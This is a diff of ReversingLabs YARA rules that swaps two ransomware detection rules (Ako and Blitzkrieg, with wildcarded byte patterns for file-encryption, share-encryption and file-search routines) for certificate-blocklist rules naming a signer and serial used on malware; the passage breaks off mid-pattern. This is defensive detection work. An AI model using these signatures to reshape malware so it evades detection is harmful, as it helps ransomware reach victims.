+ +rule REVERSINGLABS_Cert_Blocklist_68E1B2C210B19Bb1F2A24176709B165B : INFO FILE { meta: - description = "Yara rule that detects Ako ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "fce98a6a-f7bd-52ee-a2b8-31b48f6134ca" - date = "2020-06-26" - modified = "2020-07-15" + id = "e17bf185-3dfc-5a2f-a87f-525ac0e4084b" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.Ako.yara#L1-L173" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13838-L13854" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8321a4ace66ae48e3a6896daf02c184fa7767fa6bd10cd83b322ad01698008cf" + logic_hash = "8e88ad992c58d37ff1ac34e2d9cf121f3bc692ae78c0ad79140974abdec2f317" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Ako" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_win64_p1 = { - 44 89 4C 24 ?? 4C 89 44 24 ?? 48 89 54 24 ?? 48 89 4C 24 ?? 56 57 48 81 EC ?? ?? ?? - ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 84 24 ?? ?? ?? ?? - 48 83 BC 24 ?? ?? ?? ?? ?? 74 ?? 48 83 BC 24 ?? ?? ?? ?? ?? 75 ?? 32 C0 E9 ?? ?? ?? - ?? 41 B9 ?? ?? ?? ?? 45 33 C0 48 8B 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 90 89 44 24 ?? 81 7C 24 ?? ?? ?? ?? ?? 73 ?? 32 C0 E9 ?? ?? ?? ?? C7 84 24 - ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 8B F8 33 C0 B9 ?? ?? ?? ?? F3 AA - 48 8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 90 85 C0 75 ?? 32 - C0 E9 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 44 24 - ?? 45 33 C0 8B D0 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 45 33 C0 BA ?? ?? ?? ?? - 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 84 - 24 ?? ?? ?? ?? 48 8B F8 33 C0 B9 ?? ?? ?? ?? F3 AA C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? - 48 8D 84 24 ?? ?? ?? ?? 48 8B F8 33 C0 B9 ?? ?? ?? ?? F3 AA 48 C7 44 24 ?? ?? ?? ?? - ?? EB ?? 48 8B 44 24 ?? 48 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 84 24 ?? ?? ?? ?? 48 - 39 44 24 ?? 0F 8D ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? - 4C 8D 84 24 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? - ?? ?? 90 85 C0 75 ?? C6 44 24 ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D - 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 0F B6 44 24 ?? E9 ?? ?? ?? ?? 33 D2 48 8D 8C 24 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8D 8C 24 ?? ?? ?? ?? 41 - B8 ?? ?? ?? ?? 48 8B D0 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 90 85 C0 75 ?? C6 - } - $encrypt_files_win64_p2 = { - 44 24 ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 90 0F B6 44 24 ?? E9 ?? ?? ?? ?? 45 33 C9 4C 8D 84 24 ?? ?? ?? ?? 48 8B 94 - 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 90 85 C0 75 ?? C6 44 24 ?? - ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 90 0F B6 44 24 ?? E9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? 8B 44 24 ?? 05 ?? ?? - ?? ?? 89 44 24 ?? 8B 84 24 ?? ?? ?? ?? 39 44 24 ?? 0F 83 ?? ?? ?? ?? 48 8D 8C 24 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 90 8B 4C 24 ?? 48 03 C1 48 89 44 24 ?? 33 D2 48 8D 8C 24 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B F8 48 8B 44 24 ?? 48 8B F0 B9 ?? ?? ?? ?? F3 A4 48 - 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 8B 4C 24 ?? 89 4C 24 ?? C7 44 24 ?? ?? ?? ?? - ?? 4C 8B C8 45 33 C0 48 8B 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 90 0F B6 C0 85 C0 75 ?? C6 44 24 ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 - 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 0F B6 44 24 ?? E9 ?? ?? ?? ?? 48 8D 8C 24 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 90 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8D 4C 24 ?? 44 8B 44 24 ?? - 48 8B D0 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 90 85 C0 75 ?? C6 44 24 ?? ?? 48 - 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 0F - B6 44 24 ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 75 ?? EB ?? E9 ?? - ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D 44 24 ?? 48 8B F8 33 C0 B9 ?? ?? ?? ?? F3 AA - } - $encrypt_files_win64_p3 = { - 48 8B 44 24 ?? 48 89 84 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D 44 24 ?? 48 8B - F8 33 C0 B9 ?? ?? ?? ?? F3 AA 48 8B 44 24 ?? 48 89 84 24 ?? ?? ?? ?? 41 B9 ?? ?? ?? - ?? 4C 8D 84 24 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? - ?? ?? ?? 90 85 C0 0F 84 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 83 C0 ?? 48 8B C8 E8 - ?? ?? ?? ?? 90 48 89 44 24 ?? 48 8B 8C 24 ?? ?? ?? ?? 48 83 C1 ?? E8 ?? ?? ?? ?? 90 - 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8D 4C 24 ?? 48 8B 4C 24 ?? 44 8B C1 48 8B D0 48 8B 8C - 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 90 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 48 89 44 24 - ?? 48 8B 8C 24 ?? ?? ?? ?? 48 83 C1 ?? E8 ?? ?? ?? ?? 90 48 8B 4C 24 ?? 48 3B C8 0F - 85 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? - C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 8B - 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8D 4C 24 ?? 41 - B8 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 90 - 85 C0 74 ?? 8B 44 24 ?? 48 83 F8 ?? 75 ?? C6 44 24 ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 0F B6 44 24 ?? EB ?? C6 44 - 24 ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 90 0F B6 44 24 ?? 48 8B 8C 24 ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 90 48 81 C4 - ?? ?? ?? ?? 5F 5E C3 - } - $encrypt_network_shares_win64_p1 = { - 48 89 54 24 ?? 48 89 4C 24 ?? 48 81 EC ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 8B - 05 ?? ?? ?? ?? 48 33 C4 48 89 84 24 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8D 8C 24 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B 84 24 ?? ?? ?? ?? 48 05 ?? ?? ?? ?? 48 8B C8 E8 - ?? ?? ?? ?? 90 0F B6 C0 85 C0 0F 85 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 90 0F B6 C0 85 C0 0F 85 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 - 8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 90 0F B6 C0 85 C0 0F 85 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 83 - C0 ?? 48 8D 94 24 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 90 48 8D 15 ?? ?? ?? ?? 48 8D - 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 90 4C 8B C0 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C - 8D 05 ?? ?? ?? ?? 48 8B D0 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B D0 48 8D - 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D - 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D - 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8D 84 24 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 - 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8D 05 ?? ?? ?? ?? 48 8B D0 48 8D 8C 24 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B D0 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D - 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B - } - $encrypt_network_shares_win64_p2 = { - 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 90 4C 8D 05 ?? ?? ?? ?? 48 8B D0 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 90 48 8B D0 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 90 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 94 24 ?? ?? ?? - ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 15 ?? ?? ?? ?? 48 8D 8C - 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8D 05 ?? ?? ?? ?? 48 8B D0 48 8D 8C 24 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 90 48 8B D0 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 90 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 94 24 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 0F B6 C0 85 C0 0F 85 ?? ?? ?? - ?? 48 C7 44 24 ?? ?? ?? ?? ?? EB ?? 48 8B 44 24 ?? 48 FF C0 48 89 44 24 ?? 48 8D 8C - 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 39 44 24 ?? 73 ?? 48 83 7C 24 ?? ?? 76 ?? 33 D2 - 48 8B 44 24 ?? B9 ?? ?? ?? ?? 48 F7 F1 48 8B C2 48 85 C0 75 ?? 41 B9 ?? ?? ?? ?? 4C - } - $encrypt_network_shares_win64_p3 = { - 8D 05 ?? ?? ?? ?? 48 8B 54 24 ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B 44 - 24 ?? 48 FF C0 48 89 44 24 ?? EB ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? - ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 54 24 ?? 48 8D 8C 24 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 48 8D 15 ?? ?? ?? ?? - 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 48 8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 90 4C 8B C0 48 8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 90 48 8B C8 E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 54 24 ?? 48 8D 8C 24 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 90 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? - E8 ?? ?? ?? ?? 90 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 94 24 ?? - ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B C8 E8 ?? ?? ?? ?? 90 4C 8B - C0 48 8D 54 24 ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 90 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 C6 44 24 ?? ?? 48 8D 8C 24 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 90 0F B6 44 24 ?? EB ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 90 32 C0 48 8B 8C 24 ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 90 48 81 C4 ?? ?? ?? ?? C3 - } - $find_files_win64 = { - 48 89 5C 24 ?? 55 56 57 41 56 41 57 48 81 EC ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 - C4 48 89 84 24 ?? ?? ?? ?? 4D 8B F0 49 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 8B E9 48 3B D1 - 74 ?? 0F B7 02 66 83 E8 ?? 66 83 F8 ?? 77 ?? 0F B7 C0 49 0F A3 C0 72 ?? 48 83 EA ?? - 48 3B D5 75 ?? 0F B7 0A 66 83 F9 ?? 75 ?? 48 8D 45 ?? 48 3B D0 74 ?? 4D 8B CE 45 33 - C0 33 D2 48 8B CD E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 66 83 E9 ?? 33 FF 66 83 F9 ?? 77 ?? - 0F B7 C1 49 0F A3 C0 B0 ?? 72 ?? 40 8A C7 48 2B D5 48 8D 4C 24 ?? 48 D1 FA 41 B8 ?? - ?? ?? ?? 48 FF C2 F6 D8 4D 1B FF 4C 23 FA 33 D2 E8 ?? ?? ?? ?? 45 33 C9 89 7C 24 ?? - 4C 8D 44 24 ?? 48 89 7C 24 ?? 33 D2 48 8B CD FF 15 ?? ?? ?? ?? 48 8B D8 48 83 F8 ?? - 75 ?? 4D 8B CE 45 33 C0 33 D2 48 8B CD E8 ?? ?? ?? ?? 8B F8 48 83 FB ?? 74 ?? 48 8B - CB FF 15 ?? ?? ?? ?? 8B C7 48 8B 8C 24 ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 48 8B 9C - 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 41 5F 41 5E 5F 5E 5D C3 49 8B 76 ?? 49 2B 36 48 - C1 FE ?? 66 83 7C 24 ?? ?? 75 ?? 66 39 7C 24 ?? 74 ?? 66 83 7C 24 ?? ?? 75 ?? 66 39 - 7C 24 ?? 74 ?? 4D 8B CE 48 8D 4C 24 ?? 4D 8B C7 48 8B D5 E8 ?? ?? ?? ?? 85 C0 75 ?? - 48 8D 54 24 ?? 48 8B CB FF 15 ?? ?? ?? ?? 85 C0 75 ?? 49 8B 06 49 8B 56 ?? 48 2B D0 - 48 C1 FA ?? 48 3B F2 0F 84 ?? ?? ?? ?? 48 2B D6 48 8D 0C F0 4C 8D 0D ?? ?? ?? ?? 41 - B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files_win64 ) and ( all of ( $encrypt_files_win64_p* ) ) and ( all of ( $encrypt_network_shares_win64_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "68:e1:b2:c2:10:b1:9b:b1:f2:a2:41:76:70:9b:16:5b" and 1474502400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Blitzkrieg : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_5C88313Bd98Bde99C9B9Ac1408A63249 : INFO FILE { meta: - description = "Yara rule that detects Blitzkrieg ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "078f7f9d-edd4-52b4-a30e-e968542da95c" - date = "2020-06-26" - modified = "2020-07-15" + id = "5108fa8f-3fe6-518c-9bae-b1c44a0ec7a8" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Blitzkrieg.yara#L1-L127" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13856-L13872" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "22dd16c886a1982186fe927e633be9951da7d7e664e877e11fa976696b2bc86f" + logic_hash = "f958e46e00bf4ab8ecf071502bcda63a84265029bc9c72cea1eaaf72e9003a84" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Blitzkrieg" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files = { - 55 8B EC 83 C4 ?? 53 56 57 33 D2 89 55 ?? 89 55 ?? 89 45 ?? 33 C0 55 68 ?? ?? ?? ?? - 64 FF 30 64 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 33 C0 55 68 ?? ?? ?? - ?? 64 FF 30 64 89 20 8B 45 ?? 8B 40 ?? 8B 10 FF 52 ?? 8B F0 4E 83 FE ?? 0F 8C ?? ?? - ?? ?? 8B 45 ?? 8B 48 ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 A0 ?? ?? ?? ?? 88 - 43 ?? C6 43 ?? ?? 8D 4D ?? 8B 45 ?? 8B 40 ?? 8B D6 8B 38 FF 57 ?? 8B 55 ?? 8B C3 E8 - ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B2 ?? 8B C3 E8 ?? ?? ?? ?? 8B D3 - 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 40 50 8D 45 ?? B9 ?? ?? ?? ?? 8B 15 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 4B ?? 89 0C - 82 4E 83 FE ?? 0F 85 ?? ?? ?? ?? 6A ?? 6A ?? 8B 45 ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50 - E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 84 C0 74 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 - } - $search_files_p1 = { - E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 C0 89 45 ?? B2 ?? A1 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? F6 40 ?? ?? 74 ?? FF 45 ?? 8B 45 ?? F6 40 - ?? ?? 74 ?? 83 45 ?? ?? 8B 45 ?? F6 40 ?? ?? 74 ?? 83 45 ?? ?? 8B 45 ?? F6 40 ?? ?? - 74 ?? 83 45 ?? ?? 8B 45 ?? F6 40 ?? ?? 74 ?? 83 45 ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 10 FF 52 ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? - E8 ?? ?? ?? ?? 85 C0 7E ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 8B 52 ?? - 48 85 D2 74 ?? 3B 42 ?? 72 ?? E8 ?? ?? ?? ?? 40 80 7C 02 ?? ?? 74 ?? 8D 85 ?? ?? ?? - ?? 8B 55 ?? 8B 4D ?? 8B 49 ?? 4A 85 C9 74 ?? 3B 51 ?? 72 ?? E8 ?? ?? ?? ?? 42 8A 54 - 11 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? EB ?? 8B 55 ?? 8B 45 - ?? 8B 08 FF 51 ?? 8D 45 ?? E8 ?? ?? ?? ?? FF 45 ?? FF 4D ?? 75 ?? 8B 45 ?? 8B 10 FF - 52 ?? 48 85 C0 0F 8C ?? ?? ?? ?? 40 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? - 8B 55 ?? 8B 45 ?? 8B 18 FF 53 ?? 8B 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? - ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? - ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 45 ?? 8B 8D ?? ?? ?? ?? 8B 55 - ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 - ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 85 C0 0F 8F ?? ?? ?? ?? 8B 55 ?? - B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 8F ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? - ?? 84 C0 0F 85 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 84 C0 75 ?? 8B 55 ?? B8 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 85 C0 7F ?? 8B 45 ?? 8B 40 ?? 50 8B 4D ?? B2 ?? A1 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8B D8 B2 ?? 8B C3 E8 ?? ?? ?? ?? 8B D3 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 - } - $search_files_p2 = { - E8 ?? ?? ?? ?? 40 50 8D 45 ?? B9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 - ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 85 D2 74 ?? 3B 42 ?? 72 ?? E8 ?? ?? ?? ?? 8B 4B - ?? 89 0C 82 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 8B - 45 ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 85 C0 79 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 33 C0 - 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? - EB ?? FF 45 ?? FF 4D ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 80 78 ?? ?? 0F 84 ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? - ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? - 64 FF 30 64 89 20 F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? - ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? - ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B - 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? - 